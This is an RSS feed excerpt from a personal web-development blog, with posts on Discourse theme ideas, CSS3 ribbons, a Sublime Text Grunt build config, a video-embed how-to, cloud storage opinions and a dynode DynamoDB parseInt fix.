<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Chomper Stomping</title>
	
	<link>http://blog.chomperstomp.com</link>
	<description>jQuery/JavaScript/CSS 3/HTML 5, Java/PHP/Python/ActionScript, Git, Chrome/Firefox Extensions, Wordpress/Game/iPhone App Development and other random techie tidbits I've collected</description>
	<lastBuildDate>Fri, 24 May 2013 21:12:07 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ChomperStomping" /><feedburner:info uri="chomperstomping" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>39.939102</geo:lat><geo:long>-86.138318</geo:long><feedburner:emailServiceId>ChomperStomping</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Discourse Themes</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/fDedTyiNubM/</link>
		<comments>http://blog.chomperstomp.com/discourse-themes/#comments</comments>
		<pubDate>Tue, 12 Feb 2013 18:01:07 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Theming]]></category>
		<category><![CDATA[discourse]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[template]]></category>
		<category><![CDATA[theme]]></category>
		<category><![CDATA[theming]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=1732</guid>
		<description><![CDATA[Discourse Forum Themes are going to be a thing the way WordPress Themes are a thing (I'm betting). Themeforest sells WordPress themes, and you can make a very comfortable living if you've got a premium WordPress Theme for sale on ThemeForest. If you want to buy a premium discourse theme, I'm betting eventually you'll be [...]]]></description>
				<content:encoded><![CDATA[<div class="page-restrict-output"><p>Discourse Forum Themes are going to be a thing the way WordPress Themes are a thing (I'm betting). Themeforest sells WordPress themes, and you can make a very comfortable living if you've got a premium WordPress Theme for sale on ThemeForest. If you want to buy a premium discourse theme, I'm betting eventually you'll be able to do that there as well.</p>
<p>After a cursory look at Discourse, I realized that you don't need to learn Ember and write an Ember theme. Theoretically you could write a custom CSS theme for Discourse, but, I don't think that's where the real money will lie. Since Discourse is really split into two separate parts (an app and a back-end) that talk to each-other via a REST api, it's like a theme developers dream come true. You can write the front end app in anything you want, as long as it talks to the RESTful back-end. This means, if you wanted, you could create a PHP driven Discourse theme. More likely, you will probably want to create some sort of Backbone Marionette driven Discourse theme that interfaces with the JSON REST api (which is written in Ruby). Out of the gate, their themes are Ember js and CoffeeScript; but since that isn't quite as ubiquitous (and hopefully never will be) as just plain old javascript or PHP or something, I don't think themes written in that standard will take off.</p>
<p>JavaScript based Discourse Theme templates written with a common library (like Backbone with Twitter Bootstrap) are going to be a potential candidate for some good money. If you can create a good boilerplate discourse theme template that discourse theme authors can purchase and build on top of, that could be a valid business model as well. If I do any Discourse theming, this is most likely what I would do. A boilerplate Discourse theme template, with one reference implementation theme, written in JavaScript with Backbone, Marionette, Underscore, jQuery, and Bootstrap and available for Discourse theme authors to purchase and get up and running with (especially if they want more than just a CSS theme, but don't want to learn EmberJS and CoffeeScript). </p>
</div><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fDedTyiNubM:dmOWd-e9Hl4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fDedTyiNubM:dmOWd-e9Hl4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fDedTyiNubM:dmOWd-e9Hl4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fDedTyiNubM:dmOWd-e9Hl4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fDedTyiNubM:dmOWd-e9Hl4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fDedTyiNubM:dmOWd-e9Hl4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fDedTyiNubM:dmOWd-e9Hl4:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fDedTyiNubM:dmOWd-e9Hl4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=fDedTyiNubM:dmOWd-e9Hl4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fDedTyiNubM:dmOWd-e9Hl4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fDedTyiNubM:dmOWd-e9Hl4:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=fDedTyiNubM:dmOWd-e9Hl4:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/fDedTyiNubM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/discourse-themes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/discourse-themes/</feedburner:origLink></item>
		<item>
		<title>Super Simple CSS3 Only Bookmark Ribbons</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/Mms8tTN4-QA/</link>
		<comments>http://blog.chomperstomp.com/super-simple-css3-only-bookmark-ribbons/#comments</comments>
		<pubDate>Mon, 24 Sep 2012 17:33:30 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[programming concepts]]></category>
		<category><![CDATA[prototyping]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[web sites]]></category>
		<category><![CDATA[bookmarks]]></category>
		<category><![CDATA[CSS3]]></category>
		<category><![CDATA[ribbons]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=1230</guid>
		<description><![CDATA[Here are some extremely easy basic CSS 3 only triangular-bottomed bookmark split-ribbon things. This is accomplished through some creative use of the "border" attribute on divs in CSS. It takes a main div (where the body of the ribbon is) and then two smaller divs that create the actual split ribbon effect. You can change [...]]]></description>
				<content:encoded><![CDATA[<div class="page-restrict-output"><p>Here are some extremely easy basic CSS 3 only triangular-bottomed bookmark split-ribbon things.</p>
<p>This is accomplished through some creative use of the "border" attribute on divs in CSS. It takes a main div (where the body of the ribbon is) and then two smaller divs that create the actual split ribbon effect.</p>
<p>You can change their color, or even assign a background image for some truly ribbon like effects.</p>
<p>You could probably even throw some nice shadows on it and make it look even better, but, this is just a very simple basic version.</p>
<p>You may have to scroll down past the share bar to see the embedded jsfiddle...</p>
<p><iframe style="width: 100%; height: 300px" src="http://jsfiddle.net/cmcculloh/C7pKp/embedded/" allowfullscreen="allowfullscreen" frameborder="0"></iframe></p>
<p>I whipped these up today for something I was working on and realized it was worth sharing with the world.</p>
<p>Thanks to <a href="http://css-tricks.com/snippets/css/css-triangle/">CSS-Tricks.com</a> for the basis of this effect (css triangles).</p>
</div><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=Mms8tTN4-QA:RYGfcrUgPak:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=Mms8tTN4-QA:RYGfcrUgPak:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=Mms8tTN4-QA:RYGfcrUgPak:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=Mms8tTN4-QA:RYGfcrUgPak:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=Mms8tTN4-QA:RYGfcrUgPak:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=Mms8tTN4-QA:RYGfcrUgPak:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=Mms8tTN4-QA:RYGfcrUgPak:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=Mms8tTN4-QA:RYGfcrUgPak:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=Mms8tTN4-QA:RYGfcrUgPak:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=Mms8tTN4-QA:RYGfcrUgPak:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=Mms8tTN4-QA:RYGfcrUgPak:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=Mms8tTN4-QA:RYGfcrUgPak:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/Mms8tTN4-QA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/super-simple-css3-only-bookmark-ribbons/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/super-simple-css3-only-bookmark-ribbons/</feedburner:origLink></item>
		<item>
		<title>Sublime Text 2 Grunt Build</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/3NEgZ_6Thns/</link>
		<comments>http://blog.chomperstomp.com/sublime-text-2-grunt-build/#comments</comments>
		<pubDate>Thu, 26 Jul 2012 20:50:08 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[project management]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[grunt]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[sublime text 2]]></category>
		<category><![CDATA[sublimetext]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=1137</guid>
		<description><![CDATA[Kick off a grunt build from within Sublime Text 2: { "cmd": ["grunt"], "working_dir": "/Users/[your username]/[your project path]", "shell": true } It took me a bit to figure out how to actually make a grunt build run from within SublimeText 2, so I wanted to capture it here for anyone else trying to figure it [...]]]></description>
				<content:encoded><![CDATA[<div class="page-restrict-output"><p>Kick off a grunt build from within Sublime Text 2:</p>
<p><code>{<br />
	"cmd": ["grunt"],<br />
	"working_dir": "/Users/[your username]/[your project path]",<br />
	"shell": true<br />
}</code></p>
<p>It took me a bit to figure out how to actually make a grunt build run from within SublimeText 2, so I wanted to capture it here for anyone else trying to figure it out. Google really didn't help me at all...</p>
<p>The key is the working directory thing. You can't use "~/", you have to actually use the full path to your directory that you normally kick your grunt builds off from. I found one place on stackoverflow where it recommended adding this after "grunt":<br />
<code><br />
, "--no-color"<br />
</code><br />
but it didn't change the output for me at all.</p>
<p>You put this code in a file you create by clicking "tools" > "build system" > "new build system". Then whatever you name the file when you save it will be the name of the "build system". You can hit "cmd B" to build it or select "tools" > "build system" > "whatever you named it"</p>
</div><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=3NEgZ_6Thns:n2tGPYJvXp4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=3NEgZ_6Thns:n2tGPYJvXp4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=3NEgZ_6Thns:n2tGPYJvXp4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=3NEgZ_6Thns:n2tGPYJvXp4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=3NEgZ_6Thns:n2tGPYJvXp4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=3NEgZ_6Thns:n2tGPYJvXp4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=3NEgZ_6Thns:n2tGPYJvXp4:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=3NEgZ_6Thns:n2tGPYJvXp4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=3NEgZ_6Thns:n2tGPYJvXp4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=3NEgZ_6Thns:n2tGPYJvXp4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=3NEgZ_6Thns:n2tGPYJvXp4:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=3NEgZ_6Thns:n2tGPYJvXp4:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/3NEgZ_6Thns" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/sublime-text-2-grunt-build/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/sublime-text-2-grunt-build/</feedburner:origLink></item>
		<item>
		<title>Slider Video Embed</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/cuYLdzoYfb8/</link>
		<comments>http://blog.chomperstomp.com/slider-video-embed/#comments</comments>
		<pubDate>Thu, 05 Jul 2012 03:18:25 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[breaking]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[spotlight]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=1112</guid>
		<description><![CDATA[If you are looking to embed video into the slider using the continuum refactor, here's how: 1) Go to the video on Youtube or Vimeo 2) Copy the "&#60;iframe..." portion of the embed code &#60;iframe src="http://player.vimeo.com/video/44143357" width="500" height="356" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen>&#60;/iframe> 3) Create a new post/review 4) Create a custom field named "vimeo", "vimeofull", [...]]]></description>
				<content:encoded><![CDATA[<div class="page-restrict-output"><p>If you are looking to embed video into the slider using the continuum refactor, here's how:</p>
<p>1) Go to the video on Youtube or Vimeo<br />
2) Copy the "&lt;iframe..." portion of the embed code<br />
<code>&lt;iframe src="http://player.vimeo.com/video/44143357" width="500" height="356" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen>&lt;/iframe> </code><br />
3) Create a new post/review<br />
4) Create a custom field named "vimeo", "vimeofull", "youtube" or "youtubefull"<br />
5) Paste the embed code into the custom field<br />
6) Adjust the size the video displays at (width should be around 460 and height should be around 340 for "slider A")<br />
7) Tag the post/review with the tag "spotlight"</p>
<p>Note: <del datetime="2012-09-19T03:05:43+00:00">There is currently a bug with the slider that causes it to continue rotating while the video is playing. This will be resolved by 9/15/12.</del> Bug has been fixed and is no longer present in v12.0918. However, slider will only pause while your mouse is over it. Working on another change to make it so that the slider will pause once you start playing a video and will unpause only once you interact with it again.</p>
</div><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=cuYLdzoYfb8:dSgS8K1CG10:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=cuYLdzoYfb8:dSgS8K1CG10:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=cuYLdzoYfb8:dSgS8K1CG10:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=cuYLdzoYfb8:dSgS8K1CG10:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=cuYLdzoYfb8:dSgS8K1CG10:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=cuYLdzoYfb8:dSgS8K1CG10:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=cuYLdzoYfb8:dSgS8K1CG10:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=cuYLdzoYfb8:dSgS8K1CG10:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=cuYLdzoYfb8:dSgS8K1CG10:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=cuYLdzoYfb8:dSgS8K1CG10:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=cuYLdzoYfb8:dSgS8K1CG10:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=cuYLdzoYfb8:dSgS8K1CG10:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/cuYLdzoYfb8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/slider-video-embed/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/slider-video-embed/</feedburner:origLink></item>
		<item>
		<title>Douglas Crockford – JavaScript the Good Parts</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/yar3dVg2Hqw/</link>
		<comments>http://blog.chomperstomp.com/douglas-crockford-javascript-the-good-parts/#comments</comments>
		<pubDate>Wed, 02 May 2012 14:23:28 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=1022</guid>
		<description><![CDATA[Really good lecture on JavaScript, especially if you are new to the language from another language like Java.]]></description>
				<content:encoded><![CDATA[<div class="page-restrict-output"><p>Really good lecture on JavaScript, especially if you are new to the language from another language like Java.</p>
<p><iframe width="640" height="480" src="http://www.youtube.com/embed/hQVTIJBZook" frameborder="0" allowfullscreen></iframe></p>
</div><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=yar3dVg2Hqw:NR9jpKxa9PA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=yar3dVg2Hqw:NR9jpKxa9PA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=yar3dVg2Hqw:NR9jpKxa9PA:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=yar3dVg2Hqw:NR9jpKxa9PA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=yar3dVg2Hqw:NR9jpKxa9PA:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/yar3dVg2Hqw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/douglas-crockford-javascript-the-good-parts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/douglas-crockford-javascript-the-good-parts/</feedburner:origLink></item>
		<item>
		<title>Let the Cloud Wars Begin!!!</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/wc2jGKU_dqc/</link>
		<comments>http://blog.chomperstomp.com/let-the-cloud-wars-begin/#comments</comments>
		<pubDate>Thu, 26 Apr 2012 19:50:19 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[web sites]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=1015</guid>
		<description><![CDATA[This is all going the same direction. SugarSync, Google Drive, Dropbox &#038; any new contenders (whatever Microsoft's offering is called...) are all going to end up with unlimited storage for the same price point per year, so, the sooner one of them calls it and just offers that, the better that one will do. They [...]]]></description>
				<content:encoded><![CDATA[<div class="page-restrict-output"><p>This is all going the same direction. SugarSync, Google Drive, Dropbox &#038; any new contenders (whatever Microsoft's offering is called...) are all going to end up with unlimited storage for the same price point per year, so, the sooner one of them calls it and just offers that, the better that one will do.</p>
<p>They need to just do that, get it out of the way, and then start developing some really compelling features, the way drop box did with their easy share links.</p>
<p>Got my Google Drive setup today and downgraded my SugarSync account.</p>
<p>I have 87GB in my Google Drive account, for the low low price of $20/year because I happened to upgrade my Picasa storage several years ago. So, GDrive auto-wins for me until someone else can beat that price, or offer some amazing compelling feature that I just can't pass up.</p>
</div><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=wc2jGKU_dqc:9JfxxSfbYCw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=wc2jGKU_dqc:9JfxxSfbYCw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=wc2jGKU_dqc:9JfxxSfbYCw:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?i=wc2jGKU_dqc:9JfxxSfbYCw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=TzevzKxY174" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ChomperStomping?a=wc2jGKU_dqc:9JfxxSfbYCw:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/ChomperStomping?d=dnMXMwOfBR0" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ChomperStomping/~4/wc2jGKU_dqc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.chomperstomp.com/let-the-cloud-wars-begin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.chomperstomp.com/let-the-cloud-wars-begin/</feedburner:origLink></item>
		<item>
		<title>dynode Batch Get Item</title>
		<link>http://feedproxy.google.com/~r/ChomperStomping/~3/N24QoLuM6sM/</link>
		<comments>http://blog.chomperstomp.com/dynode-batch-get-item/#comments</comments>
		<pubDate>Thu, 26 Apr 2012 04:09:49 +0000</pubDate>
		<dc:creator>Christopher McCulloh</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[programming concepts]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[dynamodb]]></category>
		<category><![CDATA[dynode]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[nodejs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[spotlight]]></category>

		<guid isPermaLink="false">http://blog.chomperstomp.com/?p=1000</guid>
		<description><![CDATA[Working a lot with node.js, dynode and dynamoDB recently. Still trying to wrap my head around it all. Had a horrible time getting dynode.batchGetItem to work. Here is the error I was getting: { name: 'AmazonError', type: 'ValidationException', serviceName: 'com.amazon.coral.validate', message: 'One or more parameter values were invalid: Mismatching attribute types between location and schema', [...]]]></description>
				<content:encoded><![CDATA[<div class="page-restrict-output"><p>Working a lot with node.js, dynode and dynamoDB recently. Still trying to wrap my head around it all. Had a horrible time getting dynode.batchGetItem to work. Here is the error I was getting:</p>
<p><code>{ name: 'AmazonError',<br />
  type: 'ValidationException',<br />
  serviceName: 'com.amazon.coral.validate',<br />
  message: 'One or more parameter values were invalid: Mismatching attribute types between location and schema',<br />
  statusCode: 400,<br />
  retry: [Getter] }</code></p>
<p>Basically it came down to that the range selector I was using was being passed through as a string instead of a number. This is *even though* I am chaining queries, having just gotten the range selector out of another table and am immediately using it in the query that is failing. The way I was able to fix it was by casting it from a string into a number (the way Amazon expects it to come across):</p>
<pre>
results.Items.forEach(function(element, index, array){
    console.log(element);

    element.events.SS.forEach(function(ielement, iindex, iarray){
        var batchVars = {"events": {keys:[ {hash: ielement, range: parseInt(element.timestamp.N)} ]}};
        dynode.batchGetItem(batchVars, events.debugOutput);
    }, query);
}, query);</pre>
<p>The crucial part here being this line:<br />
<code>{keys:[ {hash: ielement, range: parseInt(element.timestamp.N)} ]}</code></p>
<p>Note the "parseInt" function there that gets run on the timestamp that was pulled out of the previous query results. That's the key to getting this to work.</p>
<p>UPDATE:<br />
The dynode author asked me to submit an issue, so, I did!</p>
<p>https://github.com/Wantworthy/dynode/issues/18</p>
<p>I had just assumed this was a quirk of the library. I feel way too new to all of this to know what is a bug and what is just me doing something stupidly...</p>
</div><div class="feedflare">
